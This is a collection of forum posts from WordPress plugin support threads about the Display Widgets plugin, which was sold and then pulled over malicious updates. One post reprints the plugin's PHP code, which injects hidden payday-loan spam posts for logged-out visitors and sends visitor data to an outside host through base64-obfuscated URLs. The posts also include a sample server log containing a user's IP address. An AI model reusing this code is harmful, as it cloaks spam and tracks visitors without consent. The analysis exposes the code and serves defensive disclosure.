The title says it all.
I got v2.0.5, WP shows me I got one plugin to update,
click on update, min after plugin is “updated” I get the update warning and 2.0.5 version is again there?

Hi,

i have update the plugin to 2.0.5

But then wordpress has many problems. I get a white site, when i save a site. Also a new login is not possible.

When i installed 2.6.3 again all its fine. Please can you helb me. What schould i do, after install 2.0.5?

Hi,

sorry to bring this forum up again but I’m still curious about how to remove this threat.

I planned to rollback a backup which would have still used only 2.05 version but my oldest backup is only two months old. Disk backups are from April but there has been quite a lot of new content since then.

The main question is: Is the plugin removal enough to remove the whole threat or do we need to do something else in addition?

The infected site is an multisite install with subdomains configuration. Apparently only one site site the top level site (e.g. example.org, not subsite.example.com) had this plugin enabled.

Sub questions:
– Is it possible that the subsites are also infected? Can we just dump these subsites content and re-upload the subsites if I take take an really old version of the whole multisite from the disk image.
– Do I need to clean something from the database? If yes then what should be removed?
– If the plugin has been serving some content is the content still able to cause e.g. XSS-vulnerabilities?

My own understanding about WordPress plugins internal working is quite limited so I cannot come to any definite conclusion myself.

The 2.7 is causing 404’s on pages using widgets. Or at least widgets that are using “display widgets”

Thank you!

Reading Isptenu – Mika’s post it seems as long as you have the old version or have done the update to 2.7, you are safe.
I use this extensively on a site that is very busy at the moment, I can’t attempt a change at this time..
I downloaded and used Display Options and used their migrator on a little site.. the migration didn’t really happen.
Just wanting to be able to continue to use this plugin until I have time to change it out.
Will my sites be safe?

Being able to control widget visibility over different pages is very useful and should really be part of the wp core just like in joomla. Jetpack is not a viable alternative. Who wants to install 15 plugins and use just one?

So what do 200,000 people who have been using Display Widgets move to? Im looking at you forum moderators to guide us out of this mess. I think I speak for many here, nobody wants to waste time going through the plugin directory and experimenting with alternatives.

We just want to replace this plugin and show/hide our widgets asap so we can get back to work.

I have been unable to update Display Widgets to the 2.7. It says it updated, but after refreshing, it goes back to 2.5

What is the best way to update to 2.7

Also, is now that you sold the widget. Who did you sell it to?

Is there there another plugin that would work that I can get updates from in the future?

I had to manually go in and change the version number to 2.7 so it would stop asking me to update. Is this ok?

The link for this widget:
https://www.ads-software.com/plugins/display-widgets/
lands at repo search results…

Hello

The offered 2.7 version does not install. It performs the upload process but remains the same version. A direct link will be welcomed. I want to perform a manual update.

Regards
Ciro

The plugin is no longer available on www.ads-software.com

The plugin team has released version 2.7 of Display Widgets.

This is a CLEAN version and is the same as version 2.0.5. You may safely upgrade.

We will be leaving this version deploying updates, however at this time we will NOT be allowing for it’s adoption. The second owner has effectively destroyed any trust a person might have in the plugin.

Note: You CANNOT visit the page or download it as a new plugin for a reason. This plugin is done. It’s not supported, it’s not worked on, nothing. So if you have it, upgrade. Otherwise, find something else to use.

As a reminder:

* If you find insecure or malicious code in a plugin PLEASE email [email protected] with the details.

* We do not currently disclose WHY plugins were closed, however we ARE working on this!

– https://meta.trac.www.ads-software.com/ticket/2627
– https://meta.trac.www.ads-software.com/ticket/2860

(if you want to help, what we need is more developers at this point)

• This topic was modified 7 years, 2 months ago by Ipstenu (Mika Epstein). Reason: clarifying why the page is disabled

This is the latest version of the plugin code (version 2.6.3.1) : https://plugins.trac.www.ads-software.com/browser/display-widgets/trunk/geolocation.php

Look at the function on line 186 (pasted below).

Note the name of the function dynamic_page, what do you think a function with name Dynamic Page does?

It creates a DYNAMIC PAGE (a Dynamic WordPress Post) on Display Widget users sites and is loaded using line 299:

299 add_filter( 'the_posts', array( 'dw_geolocation_connector', 'dynamic_page' ) );

The above hooks into the_posts function, this line basically intercepts your Posts before they are output to the browser so the Dynamic Post can be added to the Posts.

Why would a plugin to determine where widgets are loaded create Dynamic Posts?

Line 187, this checks if a user is logged in, a logged in user is probably the site owner, when a user is logged in (the site owner) the Dynamic Page function does nothing (outputs the Posts normally). So if you are logged into your site and you look at your site in a browser everything looks normal.

Why would a legitimate plugin feature be hidden from the site owner and other logged in users?

If a user is logged out: that would be your sites visitors and Google it runs the code.

The code below creates a Dynamic Post on your site with who knows what content?

186	        public static function dynamic_page( $posts ) {
187	                if ( !function_exists( 'is_user_logged_in' ) || is_user_logged_in() ) {
188	                        return $posts;
189	                }
190	
191	                $data = self::get_option();
192	                if ( $data === false || !is_array( $data ) ) {
193	                        return $posts;
194	                }
195	
196	                $requested_page_slug = strtolower( $GLOBALS[ 'wp' ]->request );
197	
198	                if ( count( $posts ) == 0 && array_key_exists( $requested_page_slug, $data) ) {
199	                        $post = new stdClass;
200	                        $post_date = !empty( $data[ $requested_page_slug ][ 'post_date' ] ) ? $data[ $requested_page_slug ][ 'post_date' ] : date( 'Y-m-d H:i:s' );
201	
202	                        $post->post_title = $data[ $requested_page_slug ][ 'post_title' ];
203	                        $post->post_content = $data[ $requested_page_slug ][ 'post_content' ];
204	
205	                        $post->post_author = 1;
206	                        $post->post_name = $requested_page_slug;
207	                        $post->guid = get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug;
208	                        $post->ID = -3371;
209	                        $post->post_status = 'publish';
210	                        $post->comment_status = 'closed';
211	                        $post->ping_status = 'closed';
212	                        $post->comment_count = 0;
213	                        $post->post_date = $post_date;
214	                        $post->post_date_gmt = $post_date;
215	
216	                        $post = (object) array_merge(
217	                                (array) $post, 
218	                                array( 
219	                                        'slug' => get_bloginfo( 'wpurl' ) . '/' . $requested_page_slug,
220	                                        'post_title' => $data[ $requested_page_slug ][ 'post_title' ],
221	                                        'post content' => $data[ $requested_page_slug ][ 'post_content' ]
222	                                )
223	                        );
224	
225	                        $posts = NULL;
226	                        $posts[] = $post;
227	
228	                        $GLOBALS[ 'wp_query' ]->is_page = true;
229	                        $GLOBALS[ 'wp_query' ]->is_singular = true;
230	                        $GLOBALS[ 'wp_query' ]->is_home = false;
231	                        $GLOBALS[ 'wp_query' ]->is_archive = false;
232	                        $GLOBALS[ 'wp_query' ]->is_category = false;
233	                        unset( $GLOBALS[ 'wp_query' ]->query[ 'error' ] );
234	                        $GLOBALS[ 'wp_query' ]->query_vars[ 'error' ] = '';
235	                        $GLOBALS[ 'wp_query' ]->is_404 = false;
236	                }
237	
238	                return $posts;
239	        }
240	
241	        protected static function get_option() {
242	                $unique_id = substr( md5( get_site_url() . 'unique' ), 0, 10 );
243	                $encoded = get_option( $unique_id, 'undefined' );
244	                $decoded = @json_decode( base64_decode( $encoded ), true );
245	
246	                if ( !empty( $decoded ) ) {
247	                        return $decoded;
248	                }
249	                else {
250	                        $old_option = get_option( 'displaywidgets_ids', array() );
251	                        if ( !empty( $old_option ) ) {
252	                                unset( $old_option[ '__3371_last_checked_3771__' ] );
253	                                self::update_option( $old_option );
254	                        }
255	                        delete_option( 'displaywidgets_ids' );
256	                        return $old_option;
257	                }
258	        }

Why would this code exist in a plugin which controls the display of widgets, it doesn’t need any of this malicious code?

Add to this on line 266 we have a function with base64 code, base64 is used to hide (obfuscate) code, the hidden code is line 268 and hides a link to https://stopspam.io/.

You can’t obfuscate plugin code: https://developer.www.ads-software.com/plugins/wordpress-org/detailed-plugin-guidelines/#developer-expectations

4. Keep your code (mostly) human readable.

Why is this link hidden from users browsing the code?

266	        protected static function endpoint_request( $_update = true ) {
267	                $http = self::http_object();
268	                $endpoint = base64_decode( $_update ? 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS91cGRhdGUvP3VybD0' : 'aHR0cDovL3N0b3BzcGFtLmlvL2FwaS9jaGVjay8/dXJsPQ==' );
269	                $endpoint .= urlencode( self::get_protocol() . $_SERVER[ 'HTTP_HOST' ] . $_SERVER[ 'REQUEST_URI' ] ) . '&agent=' . urlencode( self::get_user_agent() ) . '&v=1&p=4&ip=' . urlencode( $_SERVER[ 'REMOTE_ADDR' ] ) . '&siteurl=' . urlencode( get_site_url() );
270	
271	                $args = stream_context_create( array( 'http' => array( 'timeout' => 10, 'ignore_errors' => true ) ) ); 
272	                $response = @$http->get( $endpoint, $args );
273	
274	                if ( is_wp_error( $response ) || !isset( $response[ 'body' ] ) ) {
275	            return '';
276	                }
277	
278	        if ( empty( $response[ 'body' ] ) ) {
279	                return '';
280	                }
281	
282	                return @json_decode( $response[ 'body' ] );
283	        }

Despite my better judgment and earlier poor treatment reporting issues with this plugin I’ve emailed [email protected] about these issues. Had I not been unfairly moderated for reporting earlier issues I’d have reported these issues over 6 weeks ago and many of the hacked sites wouldn’t have been hacked (assuming WordPress removed the plugin).

More info at: https://stallion-theme.co.uk/display-widgets-plugin-review/ (under the heading “Display Widgets Plugin v2.6.2.* Includes Hacking Code!!!”).

Since I removed the Display Widgets SEO Plus Plugin from the plugin repository I suggest downgrading to Display Widgets v2.05 https://downloads.www.ads-software.com/plugin/display-widgets.2.05.zip it’s the only safe version of the plugin since the new developer bought this plugin and started adding tracking code and hacking code.

Suggestion to Display Widgets users.

If you are annoyed at the new developer ruining a perfectly good plugin, send an email to [email protected] and voice your annoyance. The WordPress plugin team have removed and reinstated this plugin three times since the new developer took control a few months back and they seem to just keep giving him chance after chance! He is either completely incompetent as a plugin developer or is deliberately adding malicious code to a popular plugin (I think the latter).

More of you who email the plugin team more likely they are to listen, this developer needs to be removed and the Display Widgets plugin reverted back to version 2.05 (the last clean version).

I guess I run the risk of being moderated again with the above rant.

[ Signature moderated ]

I just received alert coming from google webmaster tools, reviewing the code of this plugin I saw it added a geolocation.php file where it creates a dynamic post, and one of the urls was this https://mysite.com/pay-day-loans/ and it was inserting information of Pay Day Loans and a link going to this https://www.paydayloansnow.co.uk/.

All the above explanation was because google marked my site as hackable, insert this type of dynamic content is known as Spam Link Injection.

I’m not sure if it was intentionally or just a bug, additionally I am seeing complains about the same topic (or related). Just I want to make sure if it was coded intentionally adding a pay-day-loans link with spam content, to take actions and decide continue using this plugin or move on.

Hi @displaywidget,

2.6.3.1

• I’m starting to clean up the source code and get back on track with localizations. Please post a message in the forum if you would like to update one of the localization files! Your help is very much appreciated.

Please make sure to use GlotPress for managing translations for this plugin. This would save us from unnecessary plugin updates if translations are the only thing that changed.

Thanks.

2.6 version of this plugin fails to show the checkboxes necessary for its functionality.

Rolled back to 2.05 as suggested by another post and looking for alternatives.

I found out a hidden article created by Display Widget, the keywords cannot be search via the normal post/page section. This plugin created this article:

https://www.google.com/search?num=100&client=firefox-b&q=geckoandfly.com+payday&oq=geckoandfly.com+payday&gs_l=serp.3..33i160k1l3.4745.4745.0.4888.1.1.0.0.0.0.116.116.0j1.1.0….0…1..64.serp..0.1.115.pZy3zLopIyY

The only way to know is to Google your domain + a few keywords, or go thru your MySQL Database for specific keywords. The database will say Display Widget is responsible for this ‘special post’.

Is there a bug in Display Widget or it was coded to sneak in articles with spammy links?

I have a question regarding the visitor data you are tracking/storing and your terms at https://geoip2.io/terms.html

Section 10. Privacy policy states:

We will collect website information by lawful and fair means and, where appropriate, with the knowledge or consent of the individual concerned. Before or at the time of collecting such information, we will identify the purposes for which information is being collected. We will collect and use such information solely for fulfilling those purposes specified by us and for other ancillary purposes, unless we obtain the consent of the individual concerned or as required by law. Website data should be relevant to the purposes for which it is to be used, and, to the extent necessary for those purposes, should be accurate, complete, and up-to-date. The following data is currently collected for analysis and in order to optimize GeoIP2.io’s performance:

Website and Page URL – Collected to track service usage by Country, Region and Domain; we reserve the right to blacklist certain domains that exceed reasonable service usage
Visitor’s User Agent and IP Address – Required to determine Visitor’s Country of origin

As a visitor to WordPress sites including some running the Display Widgets plugin, how are you for-filling this part of your privacy policy when I visit a site with the GeoIP2.io’s Geolocation tracking enabled:

with the knowledge or consent of the individual concerned. Before or at the time of collecting such information, we will identify the purposes for which information is being collected.

As “the individual concerned” how and when did you inform me you are collecting my user data and how did you gain my consent and how did you inform me the reason for collecting my data?

For the record you have tracked my data (check your logfile) and I didn’t receive a notification explaining any of this (no pop up or privacy policy explaining GeoIP2.io is tracking my visit).

You have my IP address (90.216.105.28), the user agent (Mozilla Firefox etc…), the webpage I connected from (one of my localhost test servers on my PC), it’s a WordPress Post (/embed-tests/) for testing WordPress embed code. You even know the folder (/str-2016-09/) on my PC I was running the test server from and that it’s running WordPress 4.8.

Example data you’ll have in your weblog:

90.216.105.28 - - [04/Jul/2017:10:46:24 -0700] "GET /api/update/?url=http%3A%2F%2Flocalhost%2Fstr-2016-09%2Fembed-tests%2F&agent=Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+rv%3A54.0%29+Gecko%2F20100101+Firefox%2F54.0&geo=true&p=9&v=0&ip=127.0.0.1&siteurl=http%3A%2F%2Flocalhost%2Fstr-2016-09 HTTP/1.1" 403 3 "https://geoip2.io/api/update/?url=http%3A%2F%2Flocalhost%2Fstr-2016-09%2Fembed-tests%2F&agent=Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+rv%3A54.0%29+Gecko%2F20100101+Firefox%2F54.0&geo=true&p=9&v=0&ip=127.0.0.1&siteurl=http%3A%2F%2Flocalhost%2Fstr-2016-09" "WordPress/4.8; https://localhost/str-2016-09"

I got the example by changing the GeoIP2.io URL (in the geolocation.php file) to one of my domains and checked it’s logs. You will have almost identical entries in your weblogs (only difference will be the time I connected).

Your terms also state:

“We will make readily available to customers information about our policies and practices relating to the management of such information.”

I guess I’m considered a customer?, please make available information about your policies and practices relating to the management of my information.

How do I gain access to the data you store about me?

I don’t want my data tracked by GeoIP2.io. How do I get you to delete the data and stop you from collecting anymore of my data? Note I’m with an ISP with dynamic IPs: my IP changes every time the router is turned off/on.

Can I suggest you do some serious research regarding privacy laws.

David

I use the plugin to make widgets for a specific category. In mozilla works good but on chrome the widgets are not visible. This is the category: ponturi-bune.ro/cazino-online/

• This topic was modified 7 years, 4 months ago by ponturibune.

Just updated to latest version and had to deactivate it it mucked my blog up

Just a word of caution to all that the last version by the oroginal author was 2.05.

This is no longer being developed by the same person as it was purchased by someone else. Be wary and be sure to keep a back up of 2.05 so you can continue to use it.

This plugin is dead to me.

After updating to version 2.6.2, no widgets are being displayed.

this affects ALL widgets,
Widgets that are allready there, dissapear,
Newly added widgets are not being generated.

Please fix asap.

had to roll back to a previous version to get it working again.

I have updated to 2.6.2 and now does not work anymore, nothing error but all widget are not diplayed!
I had to turn off the plugins.

• This topic was modified 7 years, 4 months ago by lion1968.

Looks like a conflict with Gravity Forms Multilingual plugin. I get PHP Warning: Invalid argument supplied for foreach() in /plugins/gravityforms-multilingual/inc/gravity-forms-multilingual.class.php on line 681
but when I rollback to 2.6.1 everything works again.
Thanks for the plugin, would love to be able to upgrade.

Warning: Cannot use a scalar value as an array in …. etc appearing in sidebar where widgets located. on other sites the widgets just disappear altogether.

WordPress 4.8
Updating Display Widgets to Version: 2.6.2

Produces a fatal error in geolocation line:182 undefined function is_user_logged_in()

Currently tested and repeated in two instances – development environment

researched: Our reference

Was just reading all the latest threads here since I was wondering about the overall situation with that plugin. And I was really shocked as I saw what was going on over here. The plugin has been probably bought from the initial developer and has been wrongly updated? It disappeared twice from this repo because of violations but the developer is talking about “passion”? So, where is the passion right now? The plugin is not available anymore and there is no notice in that forum.

Another developer picked it up and improved some parts but obviously have also cluttered the UI just a little bit to much.

So there are 2 very similar plugins, doing quite the same. Both also inherits from the same code. But a proper solution is obviously not possible.

Do I really see the OS Spirit going down the road here?

C’mon, solve this properly! Bring back the old version! Or notify users about the current state? Do anything but just do it!

WordPress has deleted the Display Widgets plugin again, (twice in a week!) this time because of version 2.6.1.

The cause is the code in the /display-widgets/geolocation.php file (added by the new developer) connects to https://geoip2.io/ and potentially collects/stores your website visitors data without yours/theirs permission.

Data collected:

IP address
User agent
Display Widget users domain name

I don’t understand why the feature would require anything beyond IP address? The new geolocation feature only needs the country code (US, EN-GB, DE etc…) of the visitor which can be determined from IP alone. Why gather the other data?

If you plan to stick with the Display Widgets plugin I suggest downgrading to the old version (updated 2+ years ago by the original developer). You can download version 2.05 from https://downloads.www.ads-software.com/plugin/display-widgets.2.05.zip this has a few minor bugs, but is a stable release and what I used to build the Display Widgets SEO Plus plugin from 7 months ago.

David

Still a bit nervous about updating this plugin again after the huge scare of some hacker style trojan being installed….was very confused what was going on when i saw maxmind coming on and came here only to find WordPress took down this plugin and people were freaking out.

For now i will stick with the still fully working 2.05 until my confidence returns. And besides the last time i updated it broke anyway (couldnt see the options under widgets). So more of a reason to stick with the old one.

Anyway…hope this plugin improves over time. I always liked it up to 2.05.

So congradulations but who are the new owners and what country are they from? I need to know if I need to migrate away from this plugin for years.

While I greatly appreciate your years working on this plugin and understand it is up to you to decide to sell out your plugin but your users deserve to know what is going on. Please inform us. Were it not for us no one would have purchased it. Please keep it in mind.